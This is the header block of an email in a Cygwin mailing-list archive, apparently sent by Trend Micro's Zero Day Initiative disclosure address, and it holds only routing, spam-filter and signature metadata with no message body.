Accept-Language:	en-US, es-ES
X-MS-Has-Attach:	yes
X-MS-TNEF-Correlator:
msip_labels:	MSIP_Label_fb50d67e-2428-41a1-85f0-bee73fd61572_ActionId=0ce7e141-7610-444a-a481-b683ea130000;
	MSIP_Label_fb50d67e-2428-41a1-85f0-bee73fd61572_ContentBits=0;
	MSIP_Label_fb50d67e-2428-41a1-85f0-bee73fd61572_Enabled=true;
	MSIP_Label_fb50d67e-2428-41a1-85f0-bee73fd61572_Method=Privileged;
	MSIP_Label_fb50d67e-2428-41a1-85f0-bee73fd61572_Name=Public
	Information - no protection;
	MSIP_Label_fb50d67e-2428-41a1-85f0-bee73fd61572_SetDate=2024-08-16T14:21:13Z;
	MSIP_Label_fb50d67e-2428-41a1-85f0-bee73fd61572_SiteId=3e04753a-ae5b-42d4-a86d-d6f05460f9e4;
x-ms-publictraffictype:	Email
x-ms-traffictypediagnostic:	DM5PR0102MB3477:EE_\|DM8PR01MB6870:EE_
x-ms-office365-filtering-correlation-id:	549ada78-8588-4df3-c44d-08dcbdff5857
x-ms-exchange-senderadcheck:	1
x-ms-exchange-antispam-relay:	0
x-microsoft-antispam:	BCL:0; ARA:13230040\|376014\|1800799024\|366016\|38070700018;
x-microsoft-antispam-message-info:	=?us-ascii?Q?s9pJMB07QgtYrEImsY0LVqECJT7rhzvuw9InEU5SRbjce8JEEttzssrMN6Ux?=
	=?us-ascii?Q?oh4oHC250ptCfT5mGpcm2VP7powFY5BjiBH6nMSHQS/0ZzjcXjnPNGxnnG5G?=
	=?us-ascii?Q?98xbFAQPOda0OIES5gvILyCZ7q+/wTJMhfM5+Yf5Fed9++0XF00uJLRgxDdV?=
	=?us-ascii?Q?HN/TfNJ1wZZkmJa/ZyFLDRQU52pYUfLgudtMNxBo5VgDaVPFlorEYgNANJeJ?=
	=?us-ascii?Q?LlMD3Pso6/G0Zw5vgn1W4Sjn6KX1kenUiM+T2W6IdwyAHaBMe62sDz/hcClB?=
	=?us-ascii?Q?AW0MPt0Fui+RB/s+1A7nPQ/3b3rIu8TUHxuy9rFVliz+MS0BP47H3gHNsmlS?=
	=?us-ascii?Q?9vdn8/IyFanSWdhVckK573lsuioiV5Nwkg+qrzSU0bnM7OeT+8CIidpF2mhx?=
	=?us-ascii?Q?LJmynzlsxx8LIz6q3iOEjiF6BDb0B8r3MVpPML3P8q6Ij+IjUgZWdoUSNN5A?=
	=?us-ascii?Q?7mwb4HvWE3oqS1rOP/yzCu94u6vPvheqdWeLtUB6F4R5Rub1XCLM3VDo9VSn?=
	=?us-ascii?Q?0qWYj06Mg3WXf+zFiCCqEUe+e3B86xtKVzvdqQ3F8XZ2nuHrTNAHBNeRUha/?=
	=?us-ascii?Q?2MZQO8Fwk+MZi1sBAe79eLIQVzHMgk1ntUz4BxrxEBGLyWWOeWm+8GfqeSzd?=
	=?us-ascii?Q?1CPDHWQJJwF2r+MwCByqqrNoYvpSGE2EUtej+88Aco3ovkXcmqWXhi/Xrt1J?=
	=?us-ascii?Q?1dh03d40zaLFf1e5Zd1GO5tmmRXx/VlFAcvZwhuFq5NFaZRKxLsWhQmBOFro?=
	=?us-ascii?Q?dXobs5fX0HP5R+Om4dAOXYcx6LXlm3Ju9caeP9bxrc2btxbffTKXYp2m4dWA?=
	=?us-ascii?Q?S8HYzdr6WfvljyPSU2OOuiUeefQ4RXVmxuXa+azA2vhTceC3D5R4fRGcDivJ?=
	=?us-ascii?Q?PLsjBQQU10xJ9riiKRKckJgPjn4+i5vSignUGNM1KOdah97n6c+YTy+ulFNz?=
	=?us-ascii?Q?S+XSKoS3uFzAQS/2K/urQ5DY/D4HkArmErJUMzqOgsx/xKC6Xp8ri/jo9VLZ?=
	=?us-ascii?Q?W7p5PCet0kHbDFth5nU1Fpz7OqvjP8ZD19wfVKXGOsNeTyGuUjUGPjsEFH4B?=
	=?us-ascii?Q?n8Kqv3aZSdSIn+jH4aILA2Cka0KR3c9Uld+V4EwPgCXvhfl99nmf8G5ipiQQ?=
	=?us-ascii?Q?uLbYmn7lRFQ7QlWFK/OJo2dIIoJyZDOK9NAyyUDfF8qOQDRyQJ/ZY4wCKtMu?=
	=?us-ascii?Q?fk9yU8JWmUSnOzDPK0yc8MqKX61DNVRte0i/0Fmf2laXKWbO8vq/OlbXaOnw?=
	=?us-ascii?Q?drczvlsJKMKKMrOZ0Vv/hdxyp2cGAjLlCayaREstlWK4/I15VKoh7AuWSzGc?=
	=?us-ascii?Q?miQ=3D?=
x-forefront-antispam-report:	CIP:255.255.255.255; CTRY:; LANG:en; SCL:1; SRV:;
	IPV:NLI; SFV:NSPM; H:DM5PR0102MB3477.prod.exchangelabs.com; PTR:; CAT:NONE;
	SFS:(13230040)(376014)(1800799024)(366016)(38070700018); DIR:OUT; SFP:1101;
x-ms-exchange-antispam-messagedata-chunkcount:	1
x-ms-exchange-antispam-messagedata-0:	=?us-ascii?Q?kcP6jyblLEQO8YRqnncFbUQ4kztrDNxuoiuNLx+jTu4i4yQFxL/45oNxjuvI?=
	=?us-ascii?Q?mdYbhplxUcskj87z6kLJ1dVM0Q86MzKCmv38fLLaIw8E4znJJGKEzHNefDp7?=
	=?us-ascii?Q?PwArYDsfP5elRJCiKgAVE1flbv95fX8SCbZHqfs7GLbbyYv+Zp7l/386yDPM?=
	=?us-ascii?Q?DpkRKV2UUE9gkMzcTniaM1TNOREezgfIuYn64+LiDd/KxDbP1uuk8uXvZOPf?=
	=?us-ascii?Q?Q3Yf+z2S82tcqWqbVZnySp7If9zPUE9tK0TeXzAGx7UciNvYQ9qrg/NU1Jas?=
	=?us-ascii?Q?OSN5KRgI/3me5WtRjLCh35hmPJhOGaybJGXsulP3fWiwFeyhiAmGF9edVqkz?=
	=?us-ascii?Q?i7Tt/F77bzq+DzHwAttPAxHz7lx+va0GJf8yVgqnSGNaChIdgRfZ5mknMxj3?=
	=?us-ascii?Q?8z/sRy5CTbVTwx/L5a/LJxAX7EIwzZYI/T8ObbT1rmKyGrPqpk4LYUnEBCJw?=
	=?us-ascii?Q?LZkje0NmVUDGHsQu/CRBAY6rFo0aO4CNYWaSVfwCkTLWL6KbAyOXHlnWT+ya?=
	=?us-ascii?Q?JqtT5Sk3Qtu+fK55qREzAkFIlbcXh1+8XsNbgo7ZYrCurKu/9XrAyRHvTdzC?=
	=?us-ascii?Q?rDzWYzKi/93Y5gFZGrSMujPvYdyNrXKCGrfIP1gL/lUP1c4zAFm3RIxV6+Jg?=
	=?us-ascii?Q?EWbLAoL17gsznJrMsS8K3CLo36Qa0WsdVC/W/YPWDyPg9OX9rpAM/SJT4xog?=
	=?us-ascii?Q?HFcL8GHpkKyMw2J2udBkOWSPfHqNsClEHzv+NqZZiZUoHynl+bRZTxJ/KWkW?=
	=?us-ascii?Q?YFn8MTLHa5bmvwQn9/oOpuL5GG3lDRewk9xmyze1RD5UU4zQMeI5vx+7jq0M?=
	=?us-ascii?Q?m4TVJ9fYGtxPj5ZyRhU/uIOt3x7egUoXVwX5L44gy02UmySCGF/FC+SX3VJ8?=
	=?us-ascii?Q?NlxvH5Epo90RfxCC9uFgl4PJ9e9Js7gNqbGAqnJCd5MIELtOFYwrDoi1rISb?=
	=?us-ascii?Q?rNqB0N7tBDftm7fIMRoDNrFYgcZVzsjWStFmPD1B8XYwZCg04zHqlVIi8hsG?=
	=?us-ascii?Q?29/356EaBEa9PQnvpTnh4gQUt3HSDgFRY1fgXQHx60+2ai/8rcAmDLM62BRk?=
	=?us-ascii?Q?wlJ7QT2eXQpopbfHj/Fv9HZSQ3XIyT7PCSCfY92fGXa3lUTLF4gUdxPkYj/t?=
	=?us-ascii?Q?UPjh6pE8qIVV2VkryxylpsgkcmIWAnk4KRfbEH3CPv9OKo06HdiWUUSGiOqA?=
	=?us-ascii?Q?3buvD/zy44fN76lcqTzgWFqnqceG7FSZpA5oNl0ZqdIIYQudEkZF6hfA/9+h?=
	=?us-ascii?Q?gmv7XKufODHm519eORAT6UWs+eiDKDxH4hpiQ6VwKlneO8lgRR9oESaErocl?=
	=?us-ascii?Q?wMetC4C6t7bY4PHM38O3l0/EC/8TqBOpHpN+m7xYZwYAtCexFI/Nt8NaSLjI?=
	=?us-ascii?Q?YUG9VKC/gW2JBQuoTdrq3hRkMsQ8zdxOxU5azr3WOol14NcWkRktWLnwcMAW?=
	=?us-ascii?Q?Rh4mZ5aJemQbkjxnbki6pRkc820XqEcJfUrc4L1ayi8zBpandAzlqG/ZJh9O?=
	=?us-ascii?Q?+HKklgrbA4tasdJ6nBL1ubWKJI+yIHGTSj9FlMdg63mIecMxX9Pq4rBb+ZEt?=
	=?us-ascii?Q?V4knESFyBkGyUTmmQgtk2WTWagYrkB5qQKq/JfGp4hvYqxnmNakxYC5xlD0u?=
	=?us-ascii?Q?aQ=3D=3D?=
arc-seal:	i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
	b=Z9Ko43Vmv/GWsPFlMsWDsURElfQ+VEAfy0GDNvYfjucPG9RactrutJrhgWc5rc7hcGS4IRSzrYGcxSNPTczWIFG2pYY2RLCGo6dNjSm7TmLWgy54r7FP9F9PlBM3eM5hRxgWp+zml3cx+s6OrvTYbcSkdvHyCl1m+6mGpsBZq+M3+foWTTuvCCVQ/XpWmIFBuv+ndU1Dv6LlrFUv5miC74WhLiz3nLMOB2I4yKsX2LlmHNwcfNojR4DFeW74UqPiU75HIr7vJUF91yPhMpK+TlmbN3ROF5E2B7hWVXBDE92vJ7eI0p8LZoYNzmBncj8vAg0VkuqFLCAopuy4L+U0+A==
arc-message-signature:	i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
	s=arcselector10001;
	h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
	bh=bH+qZeZugDmrhl2THJeKAaItPrJI90pbJdbt9Zg8n+c=;
	b=A/A7yhBXds3w8ni3IC5LakXVPJ+X21VjEqwJeKfhDQs+xhzzmAzJ2mbMsJshtfQ6YheVNxtDSSewrLovrhJer8DtDDwAj0mtZ9ZAf47ZzJVlcHJTjIy3aFONGvpiFaQpNiZLYUfQ33HQjAj0JfI5ur2jKAZHNAX/xwaeJZBDxgokQPvmAU+NIukzpNRLHr6XBP9s4JsJWiPO82esno1oWqkygrQqu2QOqwviqhAMG6pif6V+Zqt2bPSTnj3wZcRUe8XQTMqlhwxYA2HB5qnsFBelk/h4zMcw17y4Sr49TGIMhCoibrOLVkOdWTDn8O7/8hhEsl0VUKsO+ccY5IVFVg==
arc-authentication-results:	i=1; mx.microsoft.com 1; spf=pass
	smtp.mailfrom=trendmicro.com; dmarc=pass action=none
	header.from=trendmicro.com; dkim=pass header.d=trendmicro.com; arc=none
x-ms-exchange-crosstenant-authas:	Internal
x-ms-exchange-crosstenant-authsource:	DM5PR0102MB3477.prod.exchangelabs.com
x-ms-exchange-crosstenant-network-message-id:	549ada78-8588-4df3-c44d-08dcbdff5857
x-ms-exchange-crosstenant-originalarrivaltime:	16 Aug 2024 14:25:57.6076 (UTC)
x-ms-exchange-crosstenant-fromentityheader:	Hosted
x-ms-exchange-crosstenant-id:	3e04753a-ae5b-42d4-a86d-d6f05460f9e4
x-ms-exchange-crosstenant-mailboxtype:	HOSTED
x-ms-exchange-crosstenant-userprincipalname:	3lZ5buQrOSe66gInQGA1RArj5w2vk5CBO6SNUSFLrubBK1rd5X/XWti+MyYWiboC6fPSCo9EDLjlkc4IMoOuQFCsxEj+K+/Gbb+vBiKV7uc=
x-ms-exchange-transport-crosstenantheadersstamped:	DM8PR01MB6870
x-originatororg:	trendmicro.com
x-tm-as-product-ver:	SMEX-14.0.0.3197-9.1.2019-28598.003
x-tm-as-result:	No-10--46.476900-8.000000
x-tmase-matchedrid:	2rB+w6GmFBQ9AUcVR4lIKdWLjs01yYol+r0ocKHLWs4uppYmjvdmaZo3
	ZhoZfMCcGQJAXy+lioORdDZjVEcmN1xGskd8/aqejMem+qTHLzy7F1YQUoOzLJJzTlG2bFui3PU
	VluSQ9najC/AoEEbGHgbQjJTpuY6oQBhMr1uibUML75tlYYJAg0hKo7u4JPxLlJvTov/o2fUKB0
	GcAaj+zfWtQGuD8WqywQpNB/B8dZaCab4vKr8haZtzMAQXC5KWxMg/BNzbeSNYf8LrTKM9HMXSc
	fxJgaw9H0nsF1gN/Vq+KlbpCGW9I5g0Xdwl4drVprktoeU+bT74rwQRo9u0soDK9Yramn5QdAXL
	nkkcBZcfbGiTpwYY0NEqhEzm8/CAJnh8rezR9+tnSEpeJ94l69dP7KM+8gexZDry68hdbV5tIu9
	ZccV+dt1oZ2XPco4giJAfZklTeukcQ16ds2Fzn5IdC0Q5JDAcR/Lj9ymbWRI5dFqRzWYS5gSgqz
	sOhOQ6xwmKvY6mvZOmxJyOfaii5k/Dqb97uFLauEKZe9OwaKwKEmq2HWwB6rcFkLQw9z0Gv1vHO
	Do997K55eaWlV4Z4wT3ICzoWRibOWFDqlxLZfokKbcMlSR3PI9Fkvaqp8xt9zxz+98nLbo8rVCt
	tWkeW/IawNVhBJbKjYddvl4H8cWt6JOt5ZqzVX5G0g7JhKCMXoNT4i7x/7fNJ/gqZkxnO+Xxg9L
	xIj3Wd7DFMjyPDgFb7jPgtIAd5kHVC6lXwVSfJAyjfrGeDwYG34IFXVeU70tpOwFnxtGLuePD2P
	reLM87oDYZdD/p7BMdPZXgVxhfCEL4eltNjXWqssgzfyy+3nwuCMDi78rn0FSNJl5my8TLIcKZm
	0DMBBMBOq1xMWVtB73xunbyKrpnME/Jsn/m+g==
x-tm-as-user-approved-sender:	No
x-tm-as-user-blocked-sender:	No
x-tmase-result:	10--46.476900-8.000000
x-tmase-version:	SMEX-14.0.0.3197-9.1.2019-28598.003
x-tm-snts-smtp:	E05EF38073EF0B1A4F597F70497CB6FEE5896C3C0536BE6112C63B2C9BD2A3E22000:8
MIME-Version:	1.0
X-TM-AS-ERS:	10.36.230.33-127.5.254.253
X-TM-AS-SMTP:	1.0 TVVDMS1FWENIMDIuZXUudHJlbmRuZXQub3Jn emRpLWRpc2Nsb3N1cmVzQ
	HRyZW5kbWljcm8uY29t
X-Spam-Status:	No, score=1.5 required=5.0 tests=BAYES_50, DKIMWL_WL_HIGH,
	DKIM_SIGNED, DKIM_VALID, DKIM_VALID_AU, DKIM_VALID_EF, KAM_ASCII_DIVIDERS,
	KAM_LOTSOFHASH, SPF_HELO_NONE, SPF_NONE, TXREP, T_SCC_BODY_TEXT_LINE,
	WEIRD_PORT autolearn=no autolearn_force=no version=3.4.6
X-Spam-Level:	*
X-Spam-Checker-Version:	SpamAssassin 3.4.6 (2021-04-09) on
	server2.sourceware.org
X-BeenThere:	cygwin AT cygwin DOT com
X-Mailman-Version:	2.1.30
List-Id:	General Cygwin discussions and problem reports <cygwin.cygwin.com>
List-Archive:	<https://cygwin.com/pipermail/cygwin/>
List-Post:	<mailto:cygwin AT cygwin DOT com>
List-Help:	<mailto:cygwin-request AT cygwin DOT com?subject=help>
List-Subscribe:	<https://cygwin.com/mailman/listinfo/cygwin>,
	<mailto:cygwin-request AT cygwin DOT com?subject=subscribe>
From:	zdi-disclosures--- via Cygwin <cygwin AT cygwin DOT com>
Reply-To:	"zdi-disclosures AT trendmicro DOT com" <zdi-disclosures AT trendmicro DOT com>
Sender:	"Cygwin" <cygwin-bounces~archive-cygwin=delorie DOT com AT cygwin DOT com>

webmaster	delorie software privacy
Copyright � 2019 by DJ Delorie	Updated Jul 2019